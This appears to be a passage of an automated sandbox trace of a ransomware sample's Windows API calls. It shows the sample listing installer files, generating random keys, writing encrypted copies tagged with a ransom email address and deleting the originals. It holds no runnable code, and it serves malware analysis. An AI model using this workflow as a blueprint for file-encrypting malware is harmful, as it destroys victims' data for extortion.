GetLastError () returned 0x0 [0114.373] GetCurrentThreadId () returned 0x9b0 [0114.373] GetLastError () returned 0x0 [0114.373] FindNextFileA (in: hFindFile=0x10f7410, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0xfed6, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0114.373] GetLastError () returned 0x0 [0114.373] GetCurrentThreadId () returned 0x9b0 [0114.373] GetLastError () returned 0x0 [0114.373] FindNextFileA (in: hFindFile=0x10f7410, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3b58, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0114.373] GetLastError () returned 0x0 [0114.373] GetCurrentThreadId () returned 0x9b0 [0114.373] GetLastError () returned 0x0 [0114.373] FindNextFileA (in: hFindFile=0x10f7410, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3b58, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0114.373] GetLastError () returned 0x12 [0114.374] GetCurrentThreadId () returned 0x9b0 [0114.374] GetLastError () returned 0x12 [0114.374] FindClose (in: hFindFile=0x10f7410 | out: hFindFile=0x10f7410) returned 1 [0114.374] GetCurrentThreadId () returned 0x9b0 [0114.374] GetLastError () returned 0x12 [0114.374] GetFileAttributesA (lpFileName="C:\\588bce7c90097ed212\\1042\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1042\\eula.rtf")) returned 0x80 [0114.374] GetFileAttributesA (lpFileName="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1042\\localizeddata.xml")) returned 0x80 [0114.374] GetCurrentThreadId () returned 0x9b0 [0114.374] GetLastError () returned 0x12 [0114.375] GetFileAttributesA (lpFileName="C:\\588bce7c90097ed212\\1042\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1042\\setupresources.dll")) returned 0x80 [0114.375] GetFullPathNameA (in: lpFileName="C:\\588bce7c90097ed212\\1042\\eula.rtf", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\588bce7c90097ed212\\1042\\eula.rtf", lpFilePart=0x9bada4*="eula.rtf") returned 0x23 [0114.375] GetCurrentThreadId () returned 0x9b0 [0114.375] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f70 [0114.375] GetFullPathNameA (in: lpFileName="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml", lpFilePart=0x9bada4*="LocalizedData.xml") returned 0x2c [0114.375] GetCurrentThreadId () returned 0x9b0 [0114.375] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262db0 [0114.375] GetCurrentThreadId () returned 0x9b0 [0114.376] GetCurrentThreadId () returned 0x9b0 [0114.376] GetLastError () returned 0x0 [0114.376] GetCurrentThreadId () returned 0x9b0 [0114.376] GetLastError () returned 0x0 [0114.376] GetCurrentThreadId () returned 0x9b0 [0114.376] GetLastError () returned 0x0 [0114.376] GetCurrentThreadId () returned 0x9b0 [0114.376] GetCurrentThreadId () returned 0x9b0 [0114.376] GetLastError () returned 0x0 [0114.376] GetCurrentThreadId () returned 0x9b0 [0114.376] GetLastError () returned 0x0 [0114.376] GetCurrentThreadId () returned 0x9b0 [0114.376] GetLastError () returned 0x0 [0114.377] GetFileAttributesExA (in: lpFileName="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1042\\localizeddata.xml"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0xfed6)) returned 1 [0114.377] GetLastError () returned 0x0 [0114.377] GetCurrentThreadId () returned 0x9b0 [0114.377] GetLastError () returned 0x0 [0114.377] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x36644bc | out: pbBuffer=0x36644bc) returned 1 [0114.378] GetCurrentThreadId () returned 0x9b0 [0114.378] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622688 [0114.378] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34ac7c0 [0114.378] GetCurrentThreadId () returned 0x9b0 [0114.378] GetLastError () returned 0x0 [0114.378] GetCurrentThreadId () returned 0x9b0 [0114.378] GetCurrentThreadId () returned 0x9b0 [0114.378] GetLastError () returned 0x0 [0114.378] GetCurrentThreadId () returned 0x9b0 [0114.378] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33f6d78 [0114.378] CreateFileA (lpFileName="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1042\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0114.379] GetFileType (hFile=0x39c) returned 0x1 [0114.379] GetCurrentThreadId () returned 0x9b0 [0114.379] GetLastError () returned 0x0 [0114.379] GetFileType (hFile=0x39c) returned 0x1 [0114.379] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0114.379] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0114.379] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0114.379] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0114.379] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0114.379] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0114.379] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0114.380] GetLastError () returned 0x0 [0114.380] GetCurrentThreadId () returned 0x9b0 [0114.380] GetLastError () returned 0x0 [0114.380] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6c88 | out: hHeap=0x2ad0000) returned 1 [0114.380] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262fa8 | out: hHeap=0x2ad0000) returned 1 [0114.380] GetLastError () returned 0x0 [0114.380] GetLastError () returned 0x0 [0114.380] GetLastError () returned 0x0 [0114.380] GetLastError () returned 0x0 [0114.380] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881000 | out: hHeap=0x2ad0000) returned 1 [0114.380] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x33f6cc8 [0114.380] GetLastError () returned 0x0 [0114.381] CreateFileA (lpFileName="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml.[Unlock11@protonmail.com].enc" (normalized: "c:\\588bce7c90097ed212\\1042\\localizeddata.xml.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ac [0114.382] GetFileType (hFile=0x3ac) returned 0x1 [0114.382] GetLastError () returned 0x0 [0114.382] GetCurrentThreadId () returned 0x9b0 [0114.383] GetLastError () returned 0x0 [0114.383] GetFileType (hFile=0x3ac) returned 0x1 [0114.383] GetFileInformationByHandle (in: hFile=0x3ac, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0114.383] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0114.383] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0114.383] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0114.383] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0114.383] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0114.383] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0114.383] GetLastError () returned 0x0 [0114.383] GetCurrentThreadId () returned 0x9b0 [0114.383] GetLastError () returned 0x0 [0114.383] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6cc8 | out: hHeap=0x2ad0000) returned 1 [0114.384] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a25c0 | out: hHeap=0x2ad0000) returned 1 [0114.384] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881000 [0114.384] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881000 | out: hHeap=0x2ad0000) returned 1 [0114.384] GetLastError () returned 0x0 [0114.384] GetLastError () returned 0x0 [0114.384] GetCurrentThreadId () returned 0x9b0 [0114.384] GetLastError () returned 0x0 [0114.384] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881180 | out: hHeap=0x2ad0000) returned 1 [0114.384] GetLastError () returned 0x0 [0114.384] GetLastError () returned 0x0 [0114.384] GetCurrentThreadId () returned 0x9b0 [0114.384] GetLastError () returned 0x0 [0114.384] GetLastError () returned 0x0 [0114.386] GetLastError () returned 0x0 [0114.386] GetCurrentThreadId () returned 0x9b0 [0114.386] GetLastError () returned 0x0 [0114.386] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x35c5908, Size=0xfeeb) returned 0x35c5908 [0114.387] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x35c5908, Size=0xfef5) returned 0x35c5908 [0114.387] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33f6cc8 [0114.387] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6d78 | out: hHeap=0x2ad0000) returned 1 [0114.387] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0xfef8) returned 0x36f8548 [0114.387] GetCurrentThreadId () returned 0x9b0 [0114.387] GetLastError () returned 0x0 [0114.387] GetLastError () returned 0x0 [0114.387] GetLastError () returned 0x0 [0114.387] GetLastError () returned 0x0 [0114.388] GetCurrentThreadId () returned 0x9b0 [0114.388] GetLastError () returned 0x0 [0114.388] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0114.388] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881138 [0114.388] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881138 | out: hHeap=0x2ad0000) returned 1 [0114.388] GetLastError () returned 0x0 [0114.390] GetLastError () returned 0x0 [0114.390] GetCurrentThreadId () returned 0x9b0 [0114.390] GetLastError () returned 0x0 [0114.390] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0114.390] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8548 [0114.390] GetLastError () returned 0x0 [0114.390] GetLastError () returned 0x0 [0114.390] GetCurrentThreadId () returned 0x9b0 [0114.390] GetLastError () returned 0x0 [0114.391] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0114.391] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5908 | out: hHeap=0x2ad0000) returned 1 [0114.391] GetLastError () returned 0x0 [0114.391] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cc74f0 | out: hHeap=0x2ad0000) returned 1 [0114.391] CloseHandle (hObject=0x3ac) returned 1 [0114.391] GetLastError () returned 0x0 [0114.392] GetCurrentThreadId () returned 0x9b0 [0114.392] GetLastError () returned 0x0 [0114.392] GetLastError () returned 0x0 [0114.392] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cc04b8 | out: hHeap=0x2ad0000) returned 1 [0114.392] CloseHandle (hObject=0x39c) returned 1 [0114.392] GetLastError () returned 0x0 [0114.392] GetCurrentThreadId () returned 0x9b0 [0114.392] GetLastError () returned 0x0 [0114.392] GetLastError () returned 0x0 [0114.392] GetLastError () returned 0x0 [0114.392] GetLastError () returned 0x0 [0114.392] GetLastError () returned 0x0 [0114.393] DeleteFileA (lpFileName="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1042\\localizeddata.xml")) returned 1 [0114.394] GetLastError () returned 0x0 [0114.394] GetCurrentThreadId () returned 0x9b0 [0114.394] GetCurrentThreadId () returned 0x9b0 [0114.394] GetFullPathNameA (in: lpFileName="C:\\588bce7c90097ed212\\1042\\SetupResources.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\588bce7c90097ed212\\1042\\SetupResources.dll", lpFilePart=0x9bada4*="SetupResources.dll") returned 0x2d [0114.394] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3263050 [0114.394] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3263050 | out: hHeap=0x2ad0000) returned 1 [0114.394] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f00 [0114.395] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f00 | out: hHeap=0x2ad0000) returned 1 [0114.395] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810f0 | out: hHeap=0x2ad0000) returned 1 [0114.395] GetCurrentThreadId () returned 0x9b0 [0114.395] FindFirstFileA (in: lpFileName="C:\\588bce7c90097ed212\\1043\\*.*", lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f7490 [0114.395] GetCurrentThreadId () returned 0x9b0 [0114.395] FindNextFileA (in: hFindFile=0x10f7490, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0114.395] GetCurrentThreadId () returned 0x9b0 [0114.395] FindNextFileA (in: hFindFile=0x10f7490, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xdda, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0114.395] GetCurrentThreadId () returned 0x9b0 [0114.396] FindNextFileA (in: hFindFile=0x10f7490, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x13712, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0114.396] GetCurrentThreadId () returned 0x9b0 [0114.396] FindNextFileA (in: hFindFile=0x10f7490, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4b58, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0114.396] GetCurrentThreadId () returned 0x9b0 [0114.396] FindNextFileA (in: hFindFile=0x10f7490, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4b58, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0114.396] GetCurrentThreadId () returned 0x9b0 [0114.396] FindClose (in: hFindFile=0x10f7490 | out: hFindFile=0x10f7490) returned 1 [0114.396] GetCurrentThreadId () returned 0x9b0 [0114.396] GetFileAttributesA (lpFileName="C:\\588bce7c90097ed212\\1043\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1043\\eula.rtf")) returned 0x80 [0114.397] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a201c8 | out: hHeap=0x2ad0000) returned 1 [0114.397] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881228 [0114.397] GetFileAttributesA (lpFileName="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1043\\localizeddata.xml")) returned 0x80 [0114.397] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3263050 | out: hHeap=0x2ad0000) returned 1 [0114.398] GetCurrentThreadId () returned 0x9b0 [0114.398] GetFileAttributesA (lpFileName="C:\\588bce7c90097ed212\\1043\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1043\\setupresources.dll")) returned 0x80 [0114.398] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262d78 | out: hHeap=0x2ad0000) returned 1 [0114.398] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881150 | out: hHeap=0x2ad0000) returned 1 [0114.398] GetFullPathNameA (in: lpFileName="C:\\588bce7c90097ed212\\1043\\eula.rtf", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\588bce7c90097ed212\\1043\\eula.rtf", lpFilePart=0x9bada4*="eula.rtf") returned 0x23 [0114.398] GetCurrentThreadId () returned 0x9b0 [0114.398] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e58 [0114.398] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262e58 | out: hHeap=0x2ad0000) returned 1 [0114.398] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f38 [0114.398] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f38 | out: hHeap=0x2ad0000) returned 1 [0114.399] GetFullPathNameA (in: lpFileName="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml", lpFilePart=0x9bada4*="LocalizedData.xml") returned 0x2c [0114.399] GetCurrentThreadId () returned 0x9b0 [0114.399] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f70 [0114.399] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f70 | out: hHeap=0x2ad0000) returned 1 [0114.399] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f00 [0114.399] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f00 | out: hHeap=0x2ad0000) returned 1 [0114.399] GetCurrentThreadId () returned 0x9b0 [0114.399] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x382cf20 [0114.399] GetCurrentThreadId () returned 0x9b0 [0114.399] GetCurrentThreadId () returned 0x9b0 [0114.399] GetCurrentThreadId () returned 0x9b0 [0114.400] GetCurrentThreadId () returned 0x9b0 [0114.400] GetCurrentThreadId () returned 0x9b0 [0114.400] GetCurrentThreadId () returned 0x9b0 [0114.400] GetCurrentThreadId () returned 0x9b0 [0114.400] GetFileAttributesExA (in: lpFileName="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1043\\localizeddata.xml"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x13712)) returned 1 [0114.400] GetCurrentThreadId () returned 0x9b0 [0114.400] GetCurrentThreadId () returned 0x9b0 [0114.400] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3664494 | out: pbBuffer=0x3664494) returned 1 [0114.400] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36229a8 [0114.400] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34adba8 [0114.401] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36229a8 | out: hHeap=0x2ad0000) returned 1 [0114.401] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x382cf20 [0114.401] GetCurrentThreadId () returned 0x9b0 [0114.401] GetCurrentThreadId () returned 0x9b0 [0114.401] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x382cf20 | out: hHeap=0x2ad0000) returned 1 [0114.401] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x382cf20 [0114.401] GetCurrentThreadId () returned 0x9b0 [0114.401] GetCurrentThreadId () returned 0x9b0 [0114.401] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33f6d78 [0114.401] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34adba8 | out: hHeap=0x2ad0000) returned 1 [0114.401] CreateFileA (lpFileName="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1043\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0114.402] GetFileType (hFile=0x39c) returned 0x1 [0114.402] GetCurrentThreadId () returned 0x9b0 [0114.402] GetFileType (hFile=0x39c) returned 0x1 [0114.402] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0114.402] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0114.402] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0114.402] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0114.402] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0114.402] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0114.402] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0114.402] GetLastError () returned 0x0 [0114.402] GetCurrentThreadId () returned 0x9b0 [0114.402] GetLastError () returned 0x0 [0114.403] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6d18 | out: hHeap=0x2ad0000) returned 1 [0114.403] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262e58 | out: hHeap=0x2ad0000) returned 1 [0114.403] GetLastError () returned 0x0 [0114.403] GetLastError () returned 0x0 [0114.403] GetLastError () returned 0x0 [0114.403] GetLastError () returned 0x0 [0114.403] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38812d0 | out: hHeap=0x2ad0000) returned 1 [0114.403] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x33f6c48 [0114.403] GetLastError () returned 0x0 [0114.403] CreateFileA (lpFileName="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml.[Unlock11@protonmail.com].enc" (normalized: "c:\\588bce7c90097ed212\\1043\\localizeddata.xml.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ac [0114.405] GetFileType (hFile=0x3ac) returned 0x1 [0114.405] GetLastError () returned 0x0 [0114.405] GetCurrentThreadId () returned 0x9b0 [0114.405] GetLastError () returned 0x0 [0114.405] GetFileType (hFile=0x3ac) returned 0x1 [0114.405] 